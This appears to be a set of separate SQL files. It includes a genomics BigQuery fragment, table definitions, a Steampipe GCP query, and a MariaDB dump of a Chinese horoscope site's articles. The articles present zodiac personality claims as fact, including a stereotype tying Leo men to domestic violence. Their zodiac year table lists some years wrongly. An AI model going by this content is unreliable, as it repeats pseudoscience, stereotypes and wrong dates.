bin: bin, }) } } }")) AS seq JOIN EACH ( SELECT sample_id, reference_name, start, end, genotype, bin, FROM js( (SELECT call.call_set_name, reference_name, start, end, call.genotype, FROM [_GENOTYPING_TABLE_] OMIT call IF EVERY (call.genotype < 0) ), // Start javascript function // Input Columns call.call_set_name, reference_name, start, end, call.genotype, // Output Schema "[{name: 'sample_id', type: 'string'}, {name: 'reference_name', type: 'string'}, {name: 'start', type: 'integer'}, {name: 'end', type: 'integer'}, {name: 'genotype', type: 'string'}, {name: 'bin', type: 'integer'}]", // Function "function(r, emit) { for (c of r.call) { var binSize = 5000; var bin = Math.floor(r.start/binSize); var genotype = JSON.stringify(c.genotype.sort()); emit({ sample_id: c.call_set_name, reference_name: r.reference_name, start: r.start, end: r.end, genotype: genotype, bin: bin, }) } }")) AS gen ON seq.sample_id = gen.sample_id AND seq.reference_name = gen.reference_name AND seq.bin = gen.bin WHERE seq.start <= gen.start AND seq.end >= gen.end ) GROUP BY sample_id)) WHERE concordance < _CUTOFF_
CREATE TABLE items ( id SERIAL PRIMARY KEY NOT NULL, name VARCHAR(30) NOT NULL, description VARCHAR(600) NOT NULL, create_date TIMESTAMP NOT NULL DEFAULT NOW() );
/* Navicat MariaDB Data Transfer Source Server : huabei3-1-mariadb-star Source Server Version : 50560 Source Host : localhost:3306 Source Database : star Target Server Type : MariaDB Target Server Version : 50560 File Encoding : 65001 Date: 2019-05-19 12:36:20 */ SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure for star_topic -- ---------------------------- DROP TABLE IF EXISTS `star_topic`; CREATE TABLE `star_topic` ( `topic_id` bigint(20) NOT NULL COMMENT '话题ID', `title` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL COMMENT '话题标题', `img` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL COMMENT '话题LOGO图片url', `introduction` longtext COLLATE utf8mb4_unicode_ci COMMENT '话题引言', `create_time` datetime DEFAULT NULL, `update_time` datetime DEFAULT NULL, `content` longtext COLLATE utf8mb4_unicode_ci, `status` int(11) DEFAULT '0' COMMENT 'status=0:未上线;status=1:已上线', `serial` int(11) DEFAULT '100' COMMENT '排序号,数值小的排前面,最小为0', PRIMARY KEY (`topic_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; -- ---------------------------- -- Records of star_topic -- ---------------------------- INSERT INTO `star_topic` VALUES ('456058615476781056', '奇葩的处女座', '/star-sign/463052459313463296.png', '1.挑剔又追求完美. \n2.有丰富的知性,做事一丝不苟. \n3.有旺盛的批判精神,是个完美主义者. \n4.极度的厌恶虚伪与不正当的事. \n5.做事周到、细心、谨慎而有条理,并非常理性,甚至冷酷 \n6.做什么事都很投入,而且好学、好奇、求知欲旺盛 \n7.外表安静沉默 \n8.对任何事都有一套详细的规划\n', '2018-06-12 11:36:56', '2018-07-02 15:39:25', '处女座可能看起来很凶,其实内心是最柔软的;;处女座看起来很冷淡,但那只是保护自己的方法;处女座很重视友情,但被伤害后绝对不再友善;处女座很容易被感动,但感动中又保有理智;处女座可能看起来很坚强,其实是最脆弱的;处女座不爱记仇,但谁对她好谁对她不好,处女座会记得很清楚的。\n\n处女座很特别,面对突然其来的事件可以比任何人都冷静,处理得井井有条,令人咋舌.面对感情却犹豫不决,怕自己受伤又怕伤害别人,喜欢别人实际性的关心,不喜欢物质的引诱,不清楚自己想要什麽但十分清楚自己不想要什麽.不给自己不喜欢的人丝毫机会,对自己喜欢的人超级纵容。\n\n处女座看似冲动直率,其实是性格天真可爱;处女座看似没心没肺,其实挺会心疼人的;处女座看似大条神经,其实是搞怪天才;处女座看似热情奔放,其实对感情保守专一;处女座看似坚强洒脱,其实很害怕失去;处女座看似无理取闹,其实只想你懂他的心。\n\n处女座其实很痛苦。表面上总是很有活力,很快乐的样子,可是没人的时候他们又总是很忧伤。处女座总会被一种莫名的悲伤笼罩,但他们不会让别人发现。处女座的人很怕被伤害怕,被抛弃,也怕带给别人伤害和不快乐,只能自己硬挺着一切。因为他承受了太多的东西。\n\n处女座有时很忧郁,也许在外表上嘻嘻哈哈,但当自己一个人的时候,可以莫名哭泣,也许会故意找伤心的事回忆,感叹命运的悲惨,然后第二天再抱着饱满的精神面对朋友们,那种气氛也许是可以营造出的悲惨,给自己的脆弱找个理由,告诉自己如果没有那些事会很坚强,的确很坚强,至少不愿让别人看到眼泪。\n\n', '1', '11'); INSERT INTO `star_topic` VALUES ('456058616189812736', '狮子座男生的性格分析', '/star-sign/463052839241908224.jpg', '狮子座的男生,看起来很坚强,不容易让人看见他们的心伤。在感情中就算分手,也会带着无所谓的面具,默默承受一切。', '2018-06-12 11:34:07', '2018-07-02 15:39:43', '狮子座的男生,看起来很坚强,不容易让人看见他们的心伤。在感情中就算分手,也会带着无所谓的面具,默默承受一切。也正是因为这样,要强的狮子座男生,会让大家一直误以为他们对情伤无所谓,总是可以很快好起来。\n\n事实上,狮子座的男生对爱情非常有责任感,一旦爱定某个人,会非常认真付出,把对方当成自己目前的家人,甚至未来的家人,狮子座的男生一旦决定了方向,就不容易改变。如此深情付出,不难想象失恋后的狮子男生承受的这种情伤到底有多伤。在分手之后的日子,不管是一个月,一年,还是十年,甚至一生,每每想起自己曾经真诚深刻的付出,要强的狮子还是会在半夜里暗自神伤,落泪!他们也会有孩子气的一面,最喜欢与自己喜欢的人撒娇,让人无法接受,有些小男人主义。虽然这些让有些人感到好笑,但是这些会增加彼此间的感情,使大家都能够更快地了解彼此。但在外人看来,他们还有很好的领导才能和组织能力,无论处在什么样的环境,他们都是众人的焦点,大家都会自然的去听他们的指挥,因为他们有很强的能力和亲和力,使周围的朋友能够相信他们。在外面他们也需要你的配合,你必须尊敬他,让他感觉到自己处于领导地位,让外面的人认为他很有面子,其实狮子座的男生很好相处的,而且也是很理想的伴侣!\n\n', '1', '12'); INSERT INTO `star_topic` VALUES ('456058616189812737', '十二星座性格分析之性格致命伤', '/star-sign/463052321786429440.jpg', '十二星座性格分析之性格致命伤', '2018-06-24 23:32:08', '2018-07-02 15:39:18', '在《十二星座性格分析之人生转折点》一文中,我说过,本人比较相信星座和血型,因为我觉得这两样东西对一个人的性格特征的分析,比较具有科学依据。以下再来讲讲,十二星座性格分析之性格致命伤,80后朋友们,不知道你有没有这样的性格特征呢。\n\n白羊座:一向被人们看作:火爆,冲动甚至没有大脑的情绪化阿一星座。就是这个在外表看来开朗无比的星座,在难过的时候却出奇的安静,自己疗伤,自己恢复,自己在自己的世界里试图遗忘悲伤,受伤的白羊总是会做出一些看似正常实则不同于以往的事情。不要看羊平时乐呵呵的其实羊有时候满悲观的。\n  \n金牛座:被冠以“现实,算计,爱财,保守”的高帽,其实金牛座并不象他们的名字那样金牛,他们浪漫而且天真,在遇到爱的时候吞吞吐吐很容易害羞,但是打死不承认,由于他们严谨的作风,很容易让你感觉他们的状态奇佳,其实不是,牛牛们很脆弱很有责任感,很容易受到伤害后自我欺骗,需要了解牛牛的人给予关爱。\n  \n双子座:双子座常常被划分到不安,疑心重,务实,小聪明,不爱与他人交谈自己的心事的行列,双子多半会对自己的秘密止步,其实双子看似铁打的波澜不惊,双子座的看似成熟,却实则没有成熟的经历,不会猛烈的追求,却愿意真心的等待,就算是发现时光已经流逝,双子也只是保持沉默和伪装的孤傲,双子深深的害怕受到伤害,所以双子以自己的方式生活在心的角落一言不发,有人说过与双子谈一场恋爱会令你终身难忘。\n  \n巨蟹座:很迷样的星座,有的巨蟹被人们看作胆小,喜欢逃避,性格顽固,其实巨蟹们看似有坚硬的外壳,内心却极度脆弱,自我保护意识的强烈正好验证了这些,善良的本性,不会拒绝,不想对他人说不,巨蟹对爱情和面包的选择很明确,选择爱,别人对他好,他就认为自己也应该对对方好,巨蟹会默默成全,会真心奉献,蟹子你的忧愁人们会了解,另外不要老是把巨蟹当作万能的倾诉者,蟹子的心事重重的时候也需要有人关心和理解。\n  \n狮子座:毫无疑问狮子座很有特质那就是被人们认为的自大,粗心,爱面子,很骄傲,有的人认为狮子令人不知道该如何相处,那我只能告诉你,你不了解狮子,狮子很有同情心,遇到伤痛,狮子很悲观,胡思乱想,却要故作镇定,而且狮子极度容易把责任推在自己的身上,狮子并不愿意伤害别人,如果伤害了别人,狮子会内疚自责到世界末日来了都无法清醒。\n  \n处女座:神经大条,工作狂,生活混而不乱,挑剔,有点事妈,机械人大概是人们对处女座的表面定义,其实追求完美或者是感情洁癖的性格都是处女周围或者精神的压抑附加?他们的生活,处女座有一颗敏感而又无奈地心,遇到痛苦的事情,他们会把自己逼进死角或者借酒消愁,这时处女座的自我保护欲已经变成零,看惯了强势的他们,但拿掉面具的处女座柔弱的像孩子,需要别人来保护,丝毫没有安全感。\n  \n天秤座:谈到这个星座,人们就会想到美男美女,大众情人,没错天秤座外貌高雅,性格平和,和天秤相处你可能会感觉到天秤的性格永远不会极端,但是看似备受肯定的天秤其实很自卑,做事犹豫不定,如果你了解天秤你就知道什么是真正的最悲观,难过时,对未来的事情天秤都不敢去想,痛苦愈痛苦,生活中灰蒙蒙的,不知道该怎么走下去。\n  \n天蝎座:阴险,残酷,城府极深,善妒,冷血等几颗重磅炸弹都被人们很不公平的丢给了蝎子,就是这种认识蝎子也淡然的接受了,蝎子的悲情是人们所很少感受到的,因为蝎子的倔强和坚强,真实的蝎子可以说是悲情者的典范,脆弱到骨子里的本性,强烈的性格致使蝎子受到伤害后更加难受,很难愈合,越痛蝎子就越用毒尾伤害自己伤害所爱的人,希望蝎子身边的人珍视天蝎,蝎子是无心伤人的,只是用这种方式受伤。\n  \n射手座:人马座,半人半兽可以说是很有个性的火性星座,粗枝大叶,喜新厌旧,洒脱,很有欲望追求,有时略显盲目和小家子气,其实半人半兽的外在被称为原始的进化,但是射手的性格却完全小孩子,很容易凭第一印象下定论,所以分分合合或者没有开始的结果也是常有的,射手座很难令人联想到悲观?但请不要只注意射手此刻的情绪,下一刻痛苦会令射手走进阴霾。表面乐观会更加反射出射手的寂寞,怅然。\n  \n摩羯座:也许会不太忍心说这个星座,因为它象征坚忍,耐心和悲情指数都很靠前,为了友情和爱情能够达到一个无法想象的极限,不抛弃,不分开,哪怕不是对方的爱,但是也不纠缠,厚道直白的摩羯纵使有太多的软弱,也抵不住它天生悲观的使者角色,如果你爱上摩羯,你得到的会是平凡的温暖和永远的爱,如果你不爱摩羯,摩羯会在静默中给予你想要的自由和未来。\n  \n水瓶座:追求自己的生活,带有最重的个人主义色彩,有风一般的性格,个性独特,偶尔会流露出冷漠。如果你身边有博爱的水瓶,你会发现什么是真正的难以捉摸,但是对秘密重视,对事情细腻的瓶子,很难一见钟情,\'远\'是瓶子对情感的定义,看似冷漠不介入他人事情的水瓶,其实常常处于错乱,困扰的状态,对过去的伤痛很难忘记,瓶子易碎易毁,虽然崇尚自由,但依旧无法放弃爱。\n  \n双鱼座:也许每个星座都有矛盾的感觉,却没有一个星座浑然天成的像双鱼这样矛盾到凄美,有时怯懦有时隐忍,双鱼从来不掩饰自己的柔弱和愁闷,双鱼在遇到任何的事情的时候多半都会表现出和鱼儿气质完全不一样的坚强,双鱼会心甘情愿的为爱牺牲,情绪化的鱼儿也许会令周围的人很迷茫,但是请你读懂鱼的伤。\n本文由80后励志网整理编辑,转载请注明来源,链接地址:\nhttps://www.201980.com/gushi/tedian/1464.html\n\n', '1', '10'); INSERT INTO `star_topic` VALUES ('456058616189812739', '跟狮子座谈恋爱是什么样的体验', '/star-sign/463052990324932608.png', '跟狮子座谈恋爱是什么样的体验', '2018-06-14 22:36:02', '2018-07-02 15:39:52', '狮子座的男朋友我曾经谈过两个,个人认为对狮子座男生还是比较了解的。狮子座男生在十二星座中不算是最突出的,但是也不算是最差的,反正比不过白羊,但是甩摩羯好几条街。\n\n狮子座男生也不是那张很矜持的星座,他们不太会拒绝,大多数都是颜控,说实话我的两个狮子男都是自己追上的,他们面对美女的攻势往往一句话就投怀送抱。之后还不会因为是谁追的谁就故作高冷,即使是你追的他,你长得漂亮他仍然乐此不疲的对你好。\n\n但是,狮子座真的很难把一个心给一个人。他们深深明白自古深情从来留不住,套路才是永恒的。于是,他们用很深的套路来获得对方的青睐。这就是狮子座让人难以理解的地方。似乎没有套路就走不下去的样子。每一步该怎么走,他们心里门清。所以恋爱的时候千万不要让狮子座掌握节奏,一旦你被他吃的死死地,他会很容易对你不感兴趣。\n\n那么相反,如果你没有让狮子座掌握主动权,一直牵着他的鼻子走,他就会觉得你很有意思了。我谈的那两个狮子男都是把妹的好手,好在我这个天蝎座女子比他们套路更深,才没有被牵着鼻子走。主动权一直在女方这里,肯定能保证狮子座对你俯首称臣。\n\n狮子座是一个很善于道歉的星座。当然有时候意气用事可能会生气两天,但马上就会雨过天晴,来找你聊天,主动承认错误。这个时候,只要你给他一个台阶下,他会马上忘记你们吵架的事情,但是最终分手的原因说不定还是因为第一次吵架。\n\n狮子座喜欢衡量双方的实力,喜欢势均力敌。狮子座一定会旁敲侧击的想知道你的家庭状况经济实力。如果爱你他会主动交代自己的事情,什么事情都想让你知道。谈恋爱初期,他就会开始调查你的各种事情,可能会默默地将你的朋友圈微博甚至空间全都看一遍,对你的过去了如指掌。这个时候确实是有一些可怕的。小心眼的狮子座可能会心存芥蒂,但是暂时不表现出来,一旦吵架,这些全都会成为导火索。\n\n狮子座可能是会家暴的星座男。狮子座真的非常闷骚,当然这个定律只限于各别狮子男。其实大多数男性婚前越是非常听话,非常老实,婚后家暴的可能性越强。如果有一天,你发现狮子座对你冷冰冰的,那么赶紧注意了,也许马上就要进行下一步。他们很介意过去的一些事情,虽然嘴上不愿意承认,但一定要坦诚。不然被他们发现你就完了。\n\n狮子座很喜欢吃回头草。当然这个肯定是在没有玩够的情况下。狮子座会时刻关注你的情况还装作不在意。同时,他的身边肯定会有一些备胎,以便及时作出反击。例如你这边公布恋情,他可能马上就跟备胎表白。是不是还来撩以下你,其实这只是他的试探。他希望你幸福,但肯定是跟他在一起幸福。\n\n总之,狮子男是集感性理性于一身的星座,孩子气又不太会拒绝。\n\n', '1', '13'); INSERT INTO `star_topic` VALUES ('456058616189812751', '巨蟹座的性格特点和爱情观', '/star-sign/463053110776954880.JPEG', '巨蟹座的性格特点和爱情观', '2018-06-14 22:49:02', '2018-07-23 08:45:01', '巨蟹座是夏天开始的第一个星座,也是十二星座里最暗的一个星座,出生日期为6月22日至7月22日。巨蟹座位于双子座之东,狮子座之西。巨蟹座真挚细腻,忠诚善良,坚韧执着,有不屈不挠的意志力;但十分情绪化,敏感多疑,缺乏安全感,以致难以取悦。\n巨蟹座的男生性格\n\n1、巨蟹座的男生行事慎重,善良又有爱心,但他们拥有一颗异常敏感的心,他们很拘束又很马虎。\n\n2、在爱情里,他们喜欢优越的、成功的对象。他们平常很低调,个性比较温和亲近,举手投足都很稳重。\n\n3、很多人都说巨蟹男很顾家,心地也很善良。他们在事业上其实也有独树一帜的表现,但主要的领地还是家庭。他们平时很固执,如果认定一件事,就很坚持。\n\n巨蟹座的女生性格\n\n1、巨蟹座的女生非常温柔,柔情似水,她们的反应能力上佳,主观性强。\n\n2、他们很贪吃,在爱情里爱吃醋,占有欲很强,不过他们也喜欢优越的、成功的对象。\n\n3、她们的性格很温顺,喜欢多愁善感,感情丰富又细腻。因为他们很敏感,所以他们有很多难以言说的忧愁。\n\n4、不过他们很单纯,心态比较年轻。很容易知足和感恩。\n巨蟹座的爱情观\n\n巨蟹座的最佳配对星座是双鱼座、天蝎座、处女座。\n\n1、在爱情上,巨蟹座的爱很沉默很温柔深沉。他们认为真心付出一定会有回报。\n\n2、巨蟹座的人外表坚强,他们的心却十分柔软,因此他们很善解人意。他们对自己的伴侣非常温柔,百般体贴,在他们的生活里,爱情是重中之重,他们认为对爱人好是天经地义的一件事。\n\n3、他们不计较谁爱的多,他们只想为对方付出,即使得不到回应,也心甘情愿。他们是个情绪很敏感的情做,因此对待爱情也很容易患得患失。但是一旦爱了,就很坚定。\n\n4、他们的爱往往是爱的深,伤的痛。他们反复无常、脆弱不安、他们复杂难猜又神秘莫测,喜欢上不喜欢你的巨蟹座就是很大的折磨,他们的若即若离会让你无法忍受,但是如果刚好巨蟹座也喜欢你,那么你就尽情享受巨蟹的温柔照料吧。\n温馨提示:\n\n巨蟹座在爱情里是很有原则又很没原则的,不爱就是不爱,但是不爱也不忍心直接拒绝,总是给别人希望又让人失望,但是一旦爱了,就全心全意的付出。感情中受挫,或是对爱情充满期待的巨蟹座,紫水晶手链有吸引人缘的功效,所以紫水晶也是社交之石,巨蟹座紫水晶手链可以消除霸气,带来贵气,加强包容心、容忍性,为你增加异性缘!\n\n在西方国家,紫水晶也代表着「爱的守护石」,能赋予情侣、夫妻间深厚之爱、贞节、诚实及勇气。紫水晶是二月的生辰石,自然也就成为了情人节礼物的首选,成了表达爱慕之情的信物。\n\n巨蟹座恋爱、人缘助力宝石:天然紫水晶\n\n\n缺乏安全感、情绪化的蟹子,需要紫水晶强大的力量来稳定情绪。紫水晶可以帮助人认真的思考,集中念力。让情绪化的蟹子能够稳定下来,这样感情的维持就自然也就没问题了。\n\n', '1', '14'); INSERT INTO `star_topic` VALUES ('460750367831883776', 'Hot!看世界杯,畅聊星座', '/star-sign/463051799318757376.jpg', '这几大星座中,2018世界杯球星代表有哪些呢', '2018-06-25 10:17:28', '2018-07-23 17:19:44', '1:水瓶座球星代表:\nC罗\n\n中文名 克里斯蒂亚诺·罗纳尔多 \n外文名 <NAME> \n别 名 C罗、C朗、小小罗、CR7 \n国 籍葡萄牙 \n出生地 葡萄牙马德拉岛丰沙尔 \n出生日期 1985年2月5日 \n身 高 185cm \n体 重 80kg \n运动项目 足球 \n所属运动队皇家马德里 \n专业特点 技术出众,速度惊人,突破犀利\n\n\n\n内马尔·达席尔瓦\n\n外文名\n\nN<NAME> Santos Júnior\n\n国籍\n\n巴西\n\n出生地\n\n巴西圣保罗州\n\n出生日期\n\n1992年2月5日\n\n身高\n\n175cm\n\n体重\n\n64KG\n\n水瓶座绝对是个“友谊之星”,他喜颧和每一类人做朋友,但事实行往往是三分钟热度,要和一个水瓶座的人做到知心朋友,相人言要花漫长的时间;同时,认识你之初,在他们开朗的外表下,心中早已为你订下一个分数。\n\n2:双鱼座球星代表:\n\n保罗·博格巴\n\n外文名\n\n<NAME>\n\n别名\n\n章鱼、波霸、波巴\n\n国籍\n\n法国\n\n出生地\n\n巴黎拉尼叙尔马恩\n\n出生日期\n\n1993年3月15日\n\n身高\n\n191cm\n\n体重\n\n84kg\n\n双鱼座特点:多愁善感\n\n双鱼座是十二宫最后一个星座,他集合了所有星座的优缺点于一身,同时受水象星座的情绪化影响,使他们原来复杂的性格又添加了更复杂的一笔。双鱼座的人最大的优点是有一颗善良的心,他们愿意帮助别人,甚至是牺牲自己。\n\n3:处女座球星代表:\n\n托马斯·穆勒\n\n外文名\n\n<NAME>\n\n别名\n\n穆利 二娃 250 汤马士·梅拿\n\n国籍\n\n德意志联邦共和国\n\n民族\n\n日耳曼民族\n\n出生地\n\n魏尔海姆\n\n出生日期\n\n1989年9月13日\n\n处女座特点:追求完美\n\n处女座追求完美,吹毛求疵是他们的特性。多数的处女座都很谦虚,但也因此给自己造成很大的压力。处女座的人不喜欢闲着,对别人常常乐于服务。缺乏自信的处女座有时候组织能力较差,需要家人与朋友们的鼓励去推动他们。\n\n', '1', '5'); INSERT INTO `star_topic` VALUES ('460755208440381440', 'Hot!梅西本届世界杯不顺利这个跟巨蟹座有关吗', '/star-sign/463052132476518400.jpg', '梅西本届世界杯不顺利这个跟巨蟹座有关吗', '2018-06-25 10:36:42', '2018-07-02 15:38:57', ' 梅西是什么星座,梅西是一个著名的足球运动员,当然他也是一个典型的巨蟹座男生,坚韧的巨蟹座球星梅西终于在世界杯球场上再次证明了自己,以下就是奇丽小编为你介绍梅西巨蟹座性格温柔低调脑筋敏锐.\n\n 巴西世界杯与波黑一战中,一粒带着梅西特色的进球奠定了阿根廷的胜利。时隔8年,坚韧的巨蟹座球星梅西终于在世界杯球场上再次证明了自己,进球后他用怒吼和拥抱发泄了自己的情绪。而在赛后,梅西挨个与对手微笑、拥抱,梅西式的羞涩笑容将巨蟹座的温柔展露无遗。\n\n 儿时曾受困于顽疾却不放弃足球梦想;生日不忘与家人庆生,女友是青梅竹马;作为队长他是球场上轻灵的精灵、也是队友可以依靠的厚重肩膀……梅西身上有着巨蟹座惊人的坚韧、超强的组织能力和重视家庭的特性。虽然经常被拿来与以往球王作比较,但性格内敛的梅西却总是带有一种温和的气质,成为低调的王者。巴西世界杯中,希望梅西能够从进球开始,爆发出属于“梅天王”的小宇宙吧!\n\n 随着6月22日的到来,许多巨蟹座的球星将在巴西世界杯期间度过自己的生日。水象星座的巨蟹座具有温柔、坚韧、重视家庭、组织能力强、情绪化的特点,一直是母性星座的象征。在足球场上,巨蟹座的球星也往往显得颇为低调,不爱张扬,但这也不并妨碍他们成为球场上被关注的对象。\n\n\n\n 巨蟹座的人温情柔和,就像他们低调的性格一样,他们也追求纯净温馨的感情。另一半不需要太美,只要笑容能给人宁静舒适的感觉;也不需要很性感,只要有颗感性的心;更不必才华横溢,能把家的氛围调适得温馨浪漫便最好不过。虽然有媒体报道过梅西曾有过两任模特女友,一个个都性感惹火,但从梅西的巨蟹性格分析,那是媒体的失实杜撰,或是某些人想借着梅西的名声进行炒作。\n\n 热心、敏感、富有同情心;长於记忆、脑筋敏锐、领悟力好、适应力佳、有高度的想像力;具强烈的母性或父性的本能、保护色彩浓厚、谨慎、节俭;有坚强意志力和耐力,不屈不挠;理财观念甚佳;爱国;忠於爱情,重视家庭的温暖与安定,擅理家务,重视家庭的和谐,是所有星座中最具家庭观念的星座。\n\n 缺点\n\n 天性多疑且情绪化致难以取悦、嫉妒心强并有恋母情结、可能因过度敏感而导致自怜、个性善变、不稳定、有时因生活态度太认真而失之无趣、心胸狭窄、苛刻、贪吃、邋遢、喜欢被奉承。\n\n 以上就是奇丽小编为你介绍的梅西是什么星座,在赛后,梅西挨个与对手微笑、拥抱,梅西式的羞涩笑容将巨蟹座的温柔展露无遗,蟹座的人温情柔和,就像他们低调的性格一样,他们也追求纯净温馨的感情.\n 2018年世界杯,梅西诸事不顺,巨蟹座的梅西,相对水瓶座外向又霸气外向的C罗,发挥逊色了很多。大家怎看待这个问题呢?\n\n', '1', '6'); INSERT INTO `star_topic` VALUES ('460757455127707648', '这四大星座男万万不能过于宠爱', '/star-sign/463052771327737856.png', '这四大星座男万万不能过于宠爱', '2018-06-25 10:45:38', '2018-07-02 15:39:35', '都说女生需要男生的宠爱,男生宠女生是天经地义的事。其实不单单如此,很多男生也需要女生的宠爱,有了女生的宠爱,男生才能变得更加优秀。不过有些男生可不能宠,越宠就越上天,越宠就越不得了。下面一起看看哪些星座万万不能过于宠爱,否则会让你痛苦一生\n\n第一名:喜欢被老婆管的处女座男生\n\n处女男其实是很需要女生的宠爱,特别是在他们做的比较不错的时候,尤其需要女生的夸奖,希望得到女生的鼓励。给他们的宠爱其实只要一点点就够了,他们就会很知足,就会很开心。但是不能过于宠爱,他们就会觉得理所当然,把你的宠爱不当一回事,他们做得再差,即使你给他们捧上一万束鲜花,他们也无动于衷,因为他们的心已经麻木了。所以对于处女男,万万不能过于宠爱,否则会让你痛苦一生。\n\n第二名:过于宠爱就会乱来的双鱼座男生\n\n双鱼男也是很需要女生的宠爱,他们在爱情中,希望和恋人相互宠着爱着,每天都能够甜甜蜜蜜,充满浪漫。不过对双鱼男的宠爱一定要把握分寸,对他们太宠爱,他们就会乱来。觉得反正你都会宠着他们,即使犯点错,也无所谓。对待双鱼男最好的方式,就是宠着的同时,又感觉在管着他们,让他们逃不出你的手掌心。\n\n第三名:被宠爱会永远长不大的双子座男生\n\n双子男喜欢宠着女生,这样他们才会成熟,才会成长得快。可是如果反过来,让女生宠着他们,他们心里就会像个永远长不大的孩子,什么事都依赖着女生,没有自己的主见。甚至于连工作都不想去工作,希望女生养着他们,成为一个小白脸,整天无所事事。所以对待双子男最好的方式,就是让他们宠着你,你可以给他们点蜜糖,但是千万不能过于宠爱,否则会让你痛苦一生。\n\n第四名:越宠爱越过分越目中无人的金牛座男生\n\n金牛男很宠女友,喜欢把女友宠上天。可是作为他们的女友,你可不能把他们宠上天。金牛男很容易把别人的宠当成习惯,当你太宠他们的话,他们就会越来越过分,变得目中无人,没有一点分寸。宠到后面你稍微做的不好一点,他们就会冲着你发脾气。比如说你天天都帮他们打饭,忽然有一天需要他们自己去打饭,他们就会对你发脾气。过于宠爱金牛座,你以后就成了他们丫鬟了。\n\n不管男女,其实都不能过于宠爱,过于宠爱早晚有一天会宠出事来。人都会有得寸进尺的心里,你太宠爱他们,到最后他们就不懂珍惜,只会让自己痛苦一生。\n\n小伙伴们,你们平时会宠着你们的恋人吗?如果太过于宠爱,从现在开始,停止你的宠爱。\n\n', '1', '11'); INSERT INTO `star_topic` VALUES ('460762301671145472', 'Hot!梅西为什么不刮胡子', '/star-sign/463052203100209152.jpg', '梅西为什么不刮胡子', '2018-06-25 11:04:53', '2018-07-02 15:39:02', '2016百年美洲杯激战正酣,夺冠热门之一的巴西队在小组赛就打道回府,阿根廷队无疑成为了目前最大的夺冠热门,梅西有望拿下自己国家队生涯的首个洲际大赛的冠军。据《足球先生》披露,这一切都与梅西最近留起了胡子有一定的关系。\n\n之前,在2014年世界杯和2015年美洲杯的决赛中,阿根廷队分别输给了德国队和智利队,梅西两次与自己国家队生涯的首个洲际大赛的冠军擦肩而过,运气显得差了一点。梅西对此相当苦恼,他决心要在本届美洲杯上结束自己国家队无大赛冠军头衔的历史。\n\n本届美洲杯期间,梅西造型大变留起了胡子,胡子拉渣的造型让人有点不敢认。据《足球先生》披露,这是因为梅西“迷信”留胡子能够给自己和阿根廷队带来好运。\n\n美洲杯前2轮比赛中,阿根廷队和梅西的表现都很出色——阿根廷两战两胜,而梅西在同巴拿马的比赛中大演帽子戏法,目前暂居射手榜首位。同时,阿根廷队夺冠最大的对手巴西队则在小组赛就惨遭淘汰,梅西留胡子看起来真的起到了某种效果。\n\n据《足球先生》报道,在阿根廷5-0大胜巴拿马的比赛之后,梅西曾这样表示:“我不剃胡子并不是因为我疯了,而是队友们不让剃。”\n\n刚刚过去的这个赛季,梅西的个人表现同C罗有一定的差距,被认为在金球奖的争夺中暂时落后于C罗。如果能在百年美洲杯中率领阿根廷队问鼎冠军,拿下自己国家队生涯的首个洲际大赛的冠军,无疑将为梅西卫冕金球奖增添重重的砝码。\n\n', '1', '7'); INSERT INTO `star_topic` VALUES ('460809590162849792', '十二生肖查询', '/star-sign/463053174631038976.jpg', '', '2018-06-25 14:12:48', '2018-07-23 08:44:23', '十二生肖是中国传统的文化之一,也称为十二属相。\n\n中国古代经常应用的十二进制纪年法,十二年一轮回。用十二地支表示,即子丑寅卯辰巳午未申酉戌亥。十二年一轮回,如:1924年为丑年,12年后,1936年又为丑年。\n\n第一星座网·十二生肖查询,可以查询生肖及五行、生肖顺序等。\n\n十二生肖快速查询表:\n属鼠:1924 | 1936 | 1948 | 1960 | 1972 | 1984 | 1996 | 2008\n属牛:1925 | 1937 | 1949 | 1961 | 1973 | 1985 | 1997 | 2009\n属虎:1926 | 1938 | 1950 | 1962 | 1974 | 1986 | 1998 | 2010\n属兔:1927 | 1939 | 1951 | 1963 | 1975 | 1987 | 1999 | 2011\n属龙:1928 | 1940 | 1952 | 1764 | 1976 | 1988 | 2000 | 2012\n属蛇:1929 | 1941 | 1953 | 1965 | 1977 | 1989 | 2001 | 2013\n属马:1930 | 1942 | 1954 | 1966 | 1978 | 1990 | 2002 | 2014\n属羊:1931 | 1943 | 1955 | 1967 | 1979 | 1991 | 2003 | 2015\n属猴:1932 | 1944 | 1956 | 1968 | 1980 | 1992 | 2004 | 2016\n属鸡:1933 | 1945 | 1957 | 1969 | 1981 | 1993 | 2005 | 2017\n属狗:1934 | 1946 | 1958 | 1970 | 1982 | 1994 | 2006 | 2018\n属猪:1935 | 1947 | 1989 | 1971 | 1983 | 1995 | 2007 | 2019\n\n', '1', '23'); INSERT INTO `star_topic` VALUES ('472823982874165248', 'test2', '/star-sign/472823919418540032.png', 'test2--', '2018-07-28 17:53:42', '2018-07-28 21:03:59', 'test2-内容', '0', '52'); INSERT INTO `star_topic` VALUES ('472824155541078016', 'test-1', '/star-sign/472872575211405312.jpg', 'test-1', '2018-07-28 17:54:23', '2018-07-28 21:06:49', 'test1-内容', '0', '51'); INSERT INTO `star_topic` VALUES ('472824311103619072', 'test-4', '/star-sign/472872316099887104.jpg', 'test3--', '2018-07-28 17:55:00', '2018-07-28 21:06:10', 'test4--内容', '0', '54'); INSERT INTO `star_topic` VALUES ('472871682978086912', 'test3', '/star-sign/472871671770906624.jpg', 'test3--', '2018-07-28 21:03:15', '2018-07-28 21:04:17', 'test3--内容', '0', '53');
-- auto-generated definition create table tasks ( task_id char(32) not null comment '任务id为任务url的md5值' primary key, task_url varchar(500) null comment '任务url', task_cell int unsigned default '3600' null comment '任务时间间隔', exec_time datetime default CURRENT_TIMESTAMP null on update CURRENT_TIMESTAMP, pre_exec_time datetime default CURRENT_TIMESTAMP null, task_type int unsigned null comment '任务类型', task_status int unsigned default '0' null comment '任务状态', task_add_time datetime default CURRENT_TIMESTAMP null on update CURRENT_TIMESTAMP comment '任务添加时间', task_encode varchar(10) null );
<reponame>RyanJarv/steampipe-plugin-gcp select name, title, akas, kind, guest_cpus, memory_mb, image_space_gb, maximum_persistent_disks, maximum_persistent_disks_size_gb, is_shared_cpu from gcp.gcp_compute_machine_type where name = '{{ output.machine_type.value }}';
